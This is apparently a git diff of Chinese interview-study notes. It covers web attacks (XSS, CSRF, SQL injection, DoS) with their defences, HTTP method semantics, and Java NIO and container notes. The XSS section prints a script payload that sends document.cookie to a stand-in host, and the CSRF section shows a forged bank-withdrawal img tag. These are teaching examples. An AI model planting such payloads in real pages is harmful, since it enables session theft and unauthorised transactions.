跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 Cookie 等各种内容。
|
||||
|
||||
例如有一个论坛网站,攻击者可以在上面发表以下内容:
|
||||
|
||||
```
|
||||
<script>location.href="//domain.com/?c=" + document.cookie</script>
|
||||
```
|
||||
|
||||
之后该内容可能会被渲染成以下形式:
|
||||
|
||||
```
|
||||
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
|
||||
```
|
||||
|
||||
另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
|
||||
|
||||
### 2. 危害
|
||||
|
||||
@ -568,7 +605,7 @@ Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
|
||||
|
||||
### 3. 防范手段
|
||||
|
||||
**(一)过滤特殊字符**
|
||||
(一)过滤特殊字符
|
||||
|
||||
许多语言都提供了对 HTML 的过滤:
|
||||
|
||||
@ -577,7 +614,7 @@ Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
|
||||
- Java 的 xssprotect (Open Source Library)。
|
||||
- Node.js 的 node-validator。
|
||||
|
||||
**(二)指定 HTTP 的 Content-Type**
|
||||
(二)指定 HTTP 的 Content-Type
|
||||
|
||||
通过这种方式,可以避免内容被当成 HTML 解析,比如 PHP 语言可以使用以下代码:
|
||||
|
||||
@ -587,6 +624,44 @@ Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
|
||||
?>
|
||||
```
|
||||
|
||||
## 跨站点请求伪造
|
||||
|
||||
### 1. 概念
|
||||
|
||||
跨站点请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
|
||||
|
||||
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
|
||||
|
||||
假如一家银行用以执行转账操作的 URL 地址如下:
|
||||
|
||||
```
|
||||
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
|
||||
```
|
||||
|
||||
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
|
||||
|
||||
```
|
||||
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
|
||||
```
|
||||
|
||||
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
|
||||
|
||||
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
|
||||
|
||||
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
|
||||
|
||||
### 2. 防范手段
|
||||
|
||||
(一)检查 Referer 字段
|
||||
|
||||
HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer 字段应和请求的地址位于同一域名下。
|
||||
|
||||
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
|
||||
|
||||
(二)添加校验 Token
|
||||
|
||||
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
|
||||
|
||||
## SQL 注入攻击
|
||||
|
||||
### 1. 概念
|
||||
@ -637,57 +712,101 @@ strSQL = "SELECT * FROM users;"
|
||||
- 其他,使用其他更安全的方式连接 SQL 数据库。例如已修正过 SQL 注入问题的数据库连接组件,例如 ASP.NET 的 SqlDataSource 对象或是 LINQ to SQL。
|
||||
- 使用 SQL 防注入系统。
|
||||
|
||||
## 跨站点请求伪造
|
||||
|
||||
### 1. 概念
|
||||
|
||||
(Cross-site request forgery,XSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
|
||||
|
||||
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
|
||||
|
||||
假如一家银行用以执行转账操作的 URL 地址如下:`http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName`。
|
||||
|
||||
<div align="center"> 那么,一个恶意攻击者可以在另一个网站上放置如下代码:`<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">`。 </div><br>
|
||||
|
||||
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
|
||||
|
||||
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
|
||||
|
||||
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
|
||||
|
||||
### 2. 防范手段
|
||||
|
||||
**(一)检查 Referer 字段**
|
||||
|
||||
HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer 字段应和请求的地址位于同一域名下。
|
||||
|
||||
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
|
||||
|
||||
**(二)添加校验 Token**
|
||||
|
||||
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。
|
||||
|
||||
## 拒绝服务攻击
|
||||
|
||||
### 1. 概念
|
||||
|
||||
(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
|
||||
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
|
||||
|
||||
(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
||||
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
||||
|
||||
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
||||
|
||||
# 八、各版本比较
|
||||
# 八、GET 和 POST 的区别
|
||||
|
||||
## 参数
|
||||
|
||||
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体中。
|
||||
|
||||
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
|
||||
|
||||
```
|
||||
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
|
||||
```
|
||||
|
||||
```
|
||||
POST /test/demo_form.asp HTTP/1.1
|
||||
Host: w3schools.com
|
||||
name1=value1&name2=value2
|
||||
```
|
||||
|
||||
## 安全
|
||||
|
||||
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
|
||||
|
||||
GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。
|
||||
|
||||
安全的方法除了 GET 之外还有:HEAD、OPTIONS。
|
||||
|
||||
不安全的方法除了 POST 之外还有 PUT、DELETE。
|
||||
|
||||
## 幂等性
|
||||
|
||||
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
|
||||
|
||||
GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的:
|
||||
|
||||
```
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
```
|
||||
|
||||
POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录:
|
||||
|
||||
```
|
||||
POST /add_row HTTP/1.1
|
||||
POST /add_row HTTP/1.1 -> Adds a 2nd row
|
||||
POST /add_row HTTP/1.1 -> Adds a 3rd row
|
||||
```
|
||||
|
||||
DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样:
|
||||
|
||||
```
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 404 as it just got deleted
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 404
|
||||
```
|
||||
|
||||
## 可缓存
|
||||
|
||||
如果要对响应进行缓存,需要满足以下条件:
|
||||
|
||||
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,但是 PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。
|
||||
2. 响应报文的状态码是可缓存的,包括:200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
|
||||
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
|
||||
|
||||
## XMLHttpRequest
|
||||
|
||||
为了阐述 POST 和 GET 的另一个区别,需要先了解 XMLHttpRequest:
|
||||
|
||||
> XMLHttpRequest 是一个 API,它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式,并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
|
||||
|
||||
在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做,例如火狐就不会。
|
||||
|
||||
# 九、各版本比较
|
||||
|
||||
## HTTP/1.0 与 HTTP/1.1 的区别
|
||||
|
||||
HTTP/1.1 新增了以下内容:
|
||||
1. HTTP/1.1 默认是持久连接
|
||||
2. HTTP/1.1 支持管线化处理
|
||||
3. HTTP/1.1 支持虚拟主机
|
||||
4. HTTP/1.1 新增状态码 100
|
||||
5. HTTP/1.1 只是分块传输编码
|
||||
6. HTTP/1.1 新增缓存处理指令 max-age
|
||||
|
||||
- 默认为长连接;
|
||||
- 提供了范围请求功能;
|
||||
- 提供了虚拟主机的功能;
|
||||
- 多了一些缓存处理字段;
|
||||
- 多了一些状态码。
|
||||
具体内容见上文
|
||||
|
||||
## HTTP/1.1 与 HTTP/2.0 的区别
|
||||
|
||||
@ -709,9 +828,23 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- [图解 HTTP](https://pan.baidu.com/s/1M0AHXqG9sP9Bxne6u0JK8A)
|
||||
- 上野宣. 图解 HTTP[M]. Ren min you dian chu ban she, 2014.
|
||||
- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
|
||||
- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
|
||||
- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
|
||||
- [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/)
|
||||
- [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg)
|
||||
- [Proxy server](https://en.wikipedia.org/wiki/Proxy_server)
|
||||
- [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html)
|
||||
- [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/)
|
||||
- [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html)
|
||||
- [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication)
|
||||
- [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/)
|
||||
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
|
||||
- [维基百科:SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
|
||||
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
|
||||
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
||||
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
|
||||
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
|
||||
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
|
||||
- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
|
||||
|
@ -101,7 +101,7 @@ java.lang.Cloneable
|
||||
|
||||
## 1. 责任链
|
||||
|
||||
避免将请求的发送者附加到其接受者,从而使其它对象也可以处理请求;将请求以对象的方式把发送到链上直到请求被处理完毕。
|
||||
避免将请求的发送者附加到其接收者,从而使其它对象也可以处理请求;将请求以对象的方式发送到链上直到请求被处理完毕。
|
||||
|
||||
```java
|
||||
java.util.logging.Logger#log()
|
||||
@ -253,7 +253,7 @@ java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()
|
||||
|
||||
## 5. 蝇量模式
|
||||
|
||||
利用共享的方式来支持大量的对象,这些对象一部分内部状态时相同的,而另一份状态可以变化。
|
||||
利用共享的方式来支持大量的对象,这些对象一部分内部状态是相同的,而另一份状态可以变化。
|
||||
|
||||
Java 利用缓存来加速大量小对象的访问时间。
|
||||
|
||||
@ -268,7 +268,7 @@ java.lang.Character#valueOf(char)
|
||||
|
||||
提供一个占位符来控制对象的访问。
|
||||
|
||||
代理可以是一些轻量级的对象,它控制者对重量级对象的访问,只有在真正实例化这些重量级对象时才会去实例化它。
|
||||
代理可以是一些轻量级的对象,它控制着对重量级对象的访问,只有在真正实例化这些重量级对象时才会去实例化它。
|
||||
|
||||
```java
|
||||
java.lang.reflect.Proxy
|
||||
|
@ -156,7 +156,7 @@ I/O 与 NIO 最重要的区别是数据打包和传输的方式,I/O 以流的
|
||||
|
||||
面向流的 I/O 一次处理一个字节数据,一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责单个复杂处理机制的一部分,这样也是相对简单的。不利的一面是,面向流的 I/O 通常相当慢。
|
||||
|
||||
一个面向块的 I/O 系统以块的形式处理数据,一次处理数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
|
||||
一个面向块的 I/O 系统以块的形式处理数据,一次处理一个数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
|
||||
|
||||
I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如,java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
|
||||
|
||||
@ -177,7 +177,7 @@ I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重
|
||||
|
||||
### 2. 缓冲区
|
||||
|
||||
发送给一个通道的所有对象都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
|
||||
发送给一个通道的所有数据都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
|
||||
|
||||
缓冲区实质上是一个数组,但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问,而且还可以跟踪系统的读/写进程。
|
||||
|
||||
@ -199,7 +199,7 @@ I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重
|
||||
|
||||
状态变量的改变过程举例:
|
||||
|
||||
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0,而 limit = capacity = 9。capacity 变量不会改变,下面的讨论会忽略它。
|
||||
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0,而 limit = capacity = 8。capacity 变量不会改变,下面的讨论会忽略它。
|
||||
|
||||
<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
|
||||
|
||||
@ -392,7 +392,7 @@ MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
|
||||
NIO 与普通 I/O 的区别主要有以下两点:
|
||||
|
||||
- NIO 是非阻塞的。应当注意,FileChannel 不能切换到非阻塞模式,套接字 Channel 可以。
|
||||
- NIO 面向流,I/O 面向块。
|
||||
- NIO 面向块,I/O 面向流。
|
||||
|
||||
# 八、参考资料
|
||||
|
||||
|
830
notes/Java 基础.md
599
notes/Java 容器.md
@ -1,105 +1,113 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、概览](#一概览)
|
||||
* [List](#list)
|
||||
* [Set](#set)
|
||||
* [Queue](#queue)
|
||||
* [Collection](#collection)
|
||||
* [Map](#map)
|
||||
* [Java 1.0/1.1 容器](#java-1011-容器)
|
||||
* [二、容器中的设计模式](#二容器中的设计模式)
|
||||
* [迭代器模式](#迭代器模式)
|
||||
* [适配器模式](#适配器模式)
|
||||
* [三、散列](#三散列)
|
||||
* [四、源码分析](#四源码分析)
|
||||
* [三、源码分析](#三源码分析)
|
||||
* [ArrayList](#arraylist)
|
||||
* [Vector 与 Stack](#vector-与-stack)
|
||||
* [Vector](#vector)
|
||||
* [LinkedList](#linkedlist)
|
||||
* [TreeMap](#treemap)
|
||||
* [HashMap](#hashmap)
|
||||
* [LinkedHashMap](#linkedhashmap)
|
||||
* [ConcurrentHashMap](#concurrenthashmap)
|
||||
* [五、参考资料](#五参考资料)
|
||||
* [ConcurrentHashMap - JDK 1.7](#concurrenthashmap---jdk-17)
|
||||
* [ConcurrentHashMap - JDK 1.8](#concurrenthashmap---jdk-18)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、概览
|
||||
|
||||
<div align="center"> <img src="../pics//ebf03f56-f957-4435-9f8f-0f605661484d.jpg"/> </div><br>
|
||||
|
||||
容器主要包括 Collection 和 Map 两种,Collection 又包含了 List、Set 以及 Queue。
|
||||
|
||||
## List
|
||||
## Collection
|
||||
|
||||
<div align="center"> <img src="../pics//java-collections.png"/> </div><br>
|
||||
|
||||
### 1. Set
|
||||
|
||||
- HashSet:基于哈希实现,支持快速查找,但不支持有序性操作,例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息,也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
|
||||
|
||||
- TreeSet:基于红黑树实现,支持有序性操作,但是查找效率不如 HashSet,HashSet 查找时间复杂度为 O(1),TreeSet 则为 O(logN);
|
||||
|
||||
- LinkedHashSet:具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。
|
||||
|
||||
### 2. List
|
||||
|
||||
- ArrayList:基于动态数组实现,支持随机访问;
|
||||
|
||||
- Vector:和 ArrayList 类似,但它是线程安全的;
|
||||
|
||||
- LinkedList:基于双向循环链表实现,只能顺序访问,但是可以快速地在链表中间插入和删除元素。不仅如此,LinkedList 还可以用作栈、队列和双端队列。
|
||||
|
||||
## Set
|
||||
### 3. Queue
|
||||
|
||||
- HashSet:基于 Hash 实现,支持快速查找,但是失去有序性;
|
||||
- LinkedList:可以用它来支持双向队列;
|
||||
|
||||
- TreeSet:基于红黑树实现,保持有序,但是查找效率不如 HashSet;
|
||||
|
||||
- LinkedHashSet:具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序,因此具有有序性。
|
||||
|
||||
## Queue
|
||||
|
||||
只有两个实现:LinkedList 和 PriorityQueue,其中 LinkedList 支持双向队列,PriorityQueue 是基于堆结构实现。
|
||||
- PriorityQueue:基于堆结构实现,可以用它来实现优先级队列。
|
||||
|
||||
## Map
|
||||
|
||||
- HashMap:基于 Hash 实现。
|
||||
<div align="center"> <img src="../pics//java-collections1.png"/> </div><br>
|
||||
|
||||
- HashMap:基于哈希实现;
|
||||
|
||||
- HashTable:和 HashMap 类似,但它是线程安全的,这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类,不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全,并且 ConcurrentHashMap 的效率会更高,因为 ConcurrentHashMap 引入了分段锁。
|
||||
|
||||
- LinkedHashMap:使用链表来维护元素的顺序,顺序为插入顺序或者最近最少使用(LRU)顺序。
|
||||
|
||||
- TreeMap:基于红黑树实现。
|
||||
|
||||
- ConcurrentHashMap:线程安全 Map,不涉及类似于 HashTable 的同步加锁。
|
||||
|
||||
## Java 1.0/1.1 容器
|
||||
|
||||
对于旧的容器,我们决不应该使用它们,只需要对它们进行了解。
|
||||
|
||||
- Vector:和 ArrayList 类似,但它是线程安全的。
|
||||
|
||||
- HashTable:和 HashMap 类似,但它是线程安全的。
|
||||
|
||||
# 二、容器中的设计模式
|
||||
|
||||
## 迭代器模式
|
||||
|
||||
从概览图可以看到,每个集合类都有一个 Iterator 对象,可以通过这个迭代器对象来遍历集合中的元素。
|
||||
<div align="center"> <img src="../pics//Iterator-1.jpg"/> </div><br>
|
||||
|
||||
[Java 中的迭代器模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#1-%E8%BF%AD%E4%BB%A3%E5%99%A8%E6%A8%A1%E5%BC%8F)
|
||||
Collection 实现了 Iterable 接口,其中的 iterator() 方法能够产生一个 Iterator 对象,通过这个对象就可以迭代遍历 Collection 中的元素。
|
||||
|
||||
从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象。
|
||||
|
||||
```java
|
||||
List<String> list = new ArrayList<>();
|
||||
list.add("a");
|
||||
list.add("b");
|
||||
for (String item : list) {
|
||||
System.out.println(item);
|
||||
}
|
||||
```
|
||||
|
||||
## 适配器模式
|
||||
|
||||
java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
|
||||
|
||||
```java
|
||||
List list = Arrays.asList(1, 2, 3);
|
||||
int[] arr = {1, 2, 3};
|
||||
list = Arrays.asList(arr);
|
||||
@SafeVarargs
|
||||
public static <T> List<T> asList(T... a)
|
||||
```
|
||||
|
||||
# 三、散列
|
||||
如果要将数组类型转换为 List 类型,应该注意的是 asList() 的参数为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
|
||||
|
||||
使用 hasCode() 来返回散列值,使用的是对象的地址。
|
||||
```java
|
||||
Integer[] arr = {1, 2, 3};
|
||||
List list = Arrays.asList(arr);
|
||||
```
|
||||
|
||||
而 equals() 是用来判断两个对象是否相等的,相等的两个对象散列值一定要相同,但是散列值相同的两个对象不一定相等。
|
||||
也可以使用以下方式生成 List。
|
||||
|
||||
相等必须满足以下五个性质:
|
||||
```java
|
||||
List list = Arrays.asList(1,2,3);
|
||||
```
|
||||
|
||||
1. 自反性
|
||||
2. 对称性
|
||||
3. 传递性
|
||||
4. 一致性(多次调用 x.equals(y),结果不变)
|
||||
5. 对任何不是 null 的对象 x 调用 x.equals(null) 结果都为 false
|
||||
# 三、源码分析
|
||||
|
||||
# 四、源码分析
|
||||
建议先阅读 [算法-查找](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E7%AE%97%E6%B3%95.md#%E6%9F%A5%E6%89%BE) 部分,对容器类源码的理解有很大帮助。
|
||||
|
||||
建议先阅读 [算法-查找](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E7%AE%97%E6%B3%95.md#%E6%9F%A5%E6%89%BE) 部分,对集合类源码的理解有很大帮助。
|
||||
至于 ConcurrentHashMap 的理解,需要有并发方面的知识,建议先阅读:[Java 并发](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/Java%20%E5%B9%B6%E5%8F%91.md)
|
||||
|
||||
源码下载:[OpenJDK 1.7](http://download.java.net/openjdk/jdk7)
|
||||
以下源码从 JDK 1.8 提取而来,下载地址:[JDK-Source-Code](https://github.com/CyC2018/JDK-Source-Code)。
|
||||
|
||||
## ArrayList
|
||||
|
||||
@ -114,28 +122,19 @@ public class ArrayList<E> extends AbstractList<E>
|
||||
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
|
||||
```
|
||||
|
||||
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明该数组默认不会被序列化。这是因为该数组不是所有位置都占满元素,因此也就没必要全部都进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那么部分内容。
|
||||
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明数组默认不会被序列化。ArrayList 具有动态扩容特性,因此保存元素的数组不一定都会被使用,那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
|
||||
|
||||
```java
|
||||
private transient Object[] elementData;
|
||||
transient Object[] elementData; // non-private to simplify nested class access
|
||||
```
|
||||
|
||||
数组的默认大小为 10。
|
||||
|
||||
```java
|
||||
public ArrayList(int initialCapacity) {
|
||||
super();
|
||||
if (initialCapacity < 0)
|
||||
throw new IllegalArgumentException("Illegal Capacity: "+ initialCapacity);
|
||||
this.elementData = new Object[initialCapacity];
|
||||
}
|
||||
|
||||
public ArrayList() {
|
||||
this(10);
|
||||
}
|
||||
private static final int DEFAULT_CAPACITY = 10;
|
||||
```
|
||||
|
||||
删除元素时调用 System.arraycopy() 对元素进行复制,因此删除操作成本很高。
|
||||
删除元素时需要调用 System.arraycopy() 对元素进行复制,因此删除操作成本很高。
|
||||
|
||||
```java
|
||||
public E remove(int index) {
|
||||
@ -147,17 +146,18 @@ public E remove(int index) {
|
||||
int numMoved = size - index - 1;
|
||||
if (numMoved > 0)
|
||||
System.arraycopy(elementData, index+1, elementData, index, numMoved);
|
||||
elementData[--size] = null; // Let gc do its work
|
||||
elementData[--size] = null; // clear to let GC do its work
|
||||
|
||||
return oldValue;
|
||||
}
|
||||
```
|
||||
|
||||
添加元素时使用 ensureCapacity() 方法来保证容量足够,如果不够时,需要使用 grow() 方法进行扩容,使得新容量为旧容量的 1.5 倍。扩容操作需要把原数组整个复制到新数组中,因此最好在创建 ArrayList 时就指定大概的容量大小,减少扩容操作的次数。
|
||||
